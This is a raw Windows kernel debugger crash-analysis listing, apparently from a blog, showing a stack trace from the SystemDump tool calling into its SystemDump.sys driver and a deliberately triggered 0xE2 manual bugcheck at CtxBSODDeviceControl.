f4346d34 804e07ec 000000bc 00000000 00000000 nt!NtDeviceIoControlFile+0×2a
f4346d34 7c93eb94 000000bc 00000000 00000000 nt!KiFastCallEntry+0xf8
0012eff0 7c93d8ef 7c801671 000000bc 00000000 ntdll!KiFastSystemCallRet
0012eff4 7c801671 000000bc 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
0012f054 00402208 000000bc 9c400004 003f6298 kernel32!DeviceIoControl+0xdd
0012f8ac 00404f8e 0012fe80 00000001 00000000 SystemDump_400000!CtxBSODDeviceControl+0×10cc
0012f8dc 00403ee0 00000001 00000000 00000000 SystemDump_400000!CtxBSODDeviceControl+0×3e52
0012f900 004099d8 00000001 00000000 00000000 SystemDump_400000!CtxBSODDeviceControl+0×2da4
0012f950 0040a448 00000000 00030106 8b3b7d66 SystemDump_400000!CtxBSODDeviceControl+0×889c
0012f9ec 00406d68 00000111 00000001 00030106 SystemDump_400000!CtxBSODDeviceControl+0×930c
0012fa0c 00408ec1 00000111 00000001 00030106 SystemDump_400000!CtxBSODDeviceControl+0×5c2c
0012fa74 00408f48 00000000 0005011a 00000111 SystemDump_400000!CtxBSODDeviceControl+0×7d85
0012fa94 77cf8734 0005011a 00000111 00000001 SystemDump_400000!CtxBSODDeviceControl+0×7e0c
0012fac0 77cf8816 00408f14 0005011a 00000111 USER32!InternalCallWinProc+0×28
0012fb28 77cfb89b 00000000 00408f14 0005011a USER32!UserCallWinProcCheckWow+0×150
0012fb64 77cfb903 006481f8 0063ab88 00000001 USER32!SendMessageWorker+0×4a5
0012fb84 77187344 0005011a 00000111 00000001 USER32!SendMessageW+0×7f
0012fba4 77187426 001587a0 00000000 000e002c COMCTL32!Button_NotifyParent+0×3d
0012fbc0 7718972b 001587a0 00000001 0012fcb8 COMCTL32!Button_ReleaseCapture+0xd7
0012fc50 77cf8734 00030106 00000202 00000000 COMCTL32!Button_WndProc+0×887
0012fc7c 77cf8816 77188ea4 00030106 00000202 USER32!InternalCallWinProc+0×28
0012fce4 77cf89cd 00000000 77188ea4 00030106 USER32!UserCallWinProcCheckWow+0×150
0012fd44 77cf8a10 001562c0 00000000 0012fd78 USER32!DispatchMessageWorker+0×306
0012fd54 77d0d99d 001562c0 00000000 0012fe80 USER32!DispatchMessageW+0xf
0012fd78 0040bfbc 0005011a 00644800 0012fe80 USER32!IsDialogMessageW+0×572
0012fd88 004070f8 001562c0 00403ec0 001562c0 SystemDump_400000!CtxBSODDeviceControl+0xae80
0012ff18 004222ab 00000a28 00000002 00000001 SystemDump_400000!CtxBSODDeviceControl+0×5fbc
00426f2c 00401c30 004026a0 00403ec5 00406c1c SystemDump_400000!CtxBSODDeviceControl+0×2116f
00426f30 004026a0 00403ec5 00406c1c 00404f90 SystemDump_400000!CtxBSODDeviceControl+0xaf4
00426f34 00403ec5 00406c1c 00404f90 00404fe4 SystemDump_400000!CtxBSODDeviceControl+0×1564
00426f38 00406c1c 00404f90 00404fe4 00405442 SystemDump_400000!CtxBSODDeviceControl+0×2d89
00426f3c 00404f90 00404fe4 00405442 00405442 SystemDump_400000!CtxBSODDeviceControl+0×5ae0
00426f40 00404fe4 00405442 00405442 00404f96 SystemDump_400000!CtxBSODDeviceControl+0×3e54
00426f44 00405442 00405442 00404f96 00401c50 SystemDump_400000!CtxBSODDeviceControl+0×3ea8
00426f48 00405442 00404f96 00401c50 00404fef SystemDump_400000!CtxBSODDeviceControl+0×4306
00426f4c 00404f96 00401c50 00404fef 00404fa4 SystemDump_400000!CtxBSODDeviceControl+0×4306
00426f50 00401c50 00404fef 00404fa4 00404fe9 SystemDump_400000!CtxBSODDeviceControl+0×3e5a
00426f54 00404fef 00404fa4 00404fe9 00406de4 SystemDump_400000!CtxBSODDeviceControl+0xb14
00426f58 00404fa4 00404fe9 00406de4 00404faa SystemDump_400000!CtxBSODDeviceControl+0×3eb3
00426f5c 00404fe9 00406de4 00404faa 00405a3f SystemDump_400000!CtxBSODDeviceControl+0×3e68
00426f60 00406de4 00404faa 00405a3f 00404fe4 SystemDump_400000!CtxBSODDeviceControl+0×3ead
00426f64 00404faa 00405a3f 00404fe4 00404fe4 SystemDump_400000!CtxBSODDeviceControl+0×5ca8
00426f68 00405a3f 00404fe4 00404fe4 00404fe4 SystemDump_400000!CtxBSODDeviceControl+0×3e6e
00426f6c 00404fe4 00404fe4 00404fe4 0040cdfd SystemDump_400000!CtxBSODDeviceControl+0×4903
00426f70 00404fe4 00404fe4 0040cdfd 00407589 SystemDump_400000!CtxBSODDeviceControl+0×3ea8
00426f74 00404fe4 0040cdfd 00407589 00407540 SystemDump_400000!CtxBSODDeviceControl+0×3ea8
00426f78 0040cdfd 00407589 00407540 0040a2b9 SystemDump_400000!CtxBSODDeviceControl+0×3ea8
00426f7c 00407589 00407540 0040a2b9 00408a53 SystemDump_400000!CtxBSODDeviceControl+0xbcc1
0042707c 00403df9 0040cdfd 00428294 00403e14 SystemDump_400000!CtxBSODDeviceControl+0×644d
00427080 0040cdfd 00428294 00403e14 00401c30 SystemDump_400000!CtxBSODDeviceControl+0×2cbd
00427084 00428294 00403e14 00401c30 004026a0 SystemDump_400000!CtxBSODDeviceControl+0xbcc1
00427088 00403e14 00401c30 004026a0 00403ec5 SystemDump_400000!ntoskrnl_NULL_THUNK_DATA+0×5250
0042708c 00401c30 004026a0 00403ec5 00406c1c SystemDump_400000!CtxBSODDeviceControl+0×2cd8
00427090 004026a0 00403ec5 00406c1c 00404f90 SystemDump_400000!CtxBSODDeviceControl+0xaf4
00427094 00403ec5 00406c1c 00404f90 00404fe4 SystemDump_400000!CtxBSODDeviceControl+0×1564
00427098 00406c1c 00404f90 00404fe4 00405442 SystemDump_400000!CtxBSODDeviceControl+0×2d89
0042709c 00404f90 00404fe4 00405442 00405442 SystemDump_400000!CtxBSODDeviceControl+0×5ae0
004270a0 00404fe4 00405442 00405442 00404f96 SystemDump_400000!CtxBSODDeviceControl+0×3e54
004270a4 00405442 00405442 00404f96 00401b90 SystemDump_400000!CtxBSODDeviceControl+0×3ea8
004270a8 00405442 00404f96 00401b90 00404fef SystemDump_400000!CtxBSODDeviceControl+0×4306
004270ac 00404f96 00401b90 00404fef 00404fa4 SystemDump_400000!CtxBSODDeviceControl+0×4306
004270b0 00401b90 00404fef 00404fa4 00404fe9 SystemDump_400000!CtxBSODDeviceControl+0×3e5a
004270b4 00404fef 00404fa4 00404fe9 00406de4 SystemDump_400000!CtxBSODDeviceControl+0xa54
004270b8 00404fa4 00404fe9 00406de4 00404faa SystemDump_400000!CtxBSODDeviceControl+0×3eb3
004270bc 00404fe9 00406de4 00404faa 00405a3f SystemDump_400000!CtxBSODDeviceControl+0×3e68
004270c0 00406de4 00404faa 00405a3f 00404fe4 SystemDump_400000!CtxBSODDeviceControl+0×3ead
004270c4 00404faa 00405a3f 00404fe4 00404fe4 SystemDump_400000!CtxBSODDeviceControl+0×5ca8
004270c8 00405a3f 00404fe4 00404fe4 00404fe4 SystemDump_400000!CtxBSODDeviceControl+0×3e6e
004270cc 00404fe4 00404fe4 00404fe4 0040cdfd SystemDump_400000!CtxBSODDeviceControl+0×4903
004270d0 00404fe4 00404fe4 0040cdfd 00407589 SystemDump_400000!CtxBSODDeviceControl+0×3ea8
STACK_COMMAND: kb
FOLLOWUP_IP:
SystemDump!CtxBSODDeviceControl+187 [c:\wddk\src\general\ctxbsod\sys\ctxbsod.c @ 169]
f7d89743 cc int 3
FAULTING_SOURCE_CODE:
No source found for ‘c:\wddk\src\general\ctxbsod\sys\ctxbsod.c’
SYMBOL_STACK_INDEX: 1
SYMBOL_NAME: SystemDump!CtxBSODDeviceControl+187
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: SystemDump
IMAGE_NAME: SystemDump.sys
DEBUG_FLR_IMAGE_TIMESTAMP: 450590ff
FAILURE_BUCKET_ID: 0xE2_SystemDump!CtxBSODDeviceControl+187
BUCKET_ID: 0xE2_SystemDump!CtxBSODDeviceControl+187
Followup: MachineOwner
———
최근 답글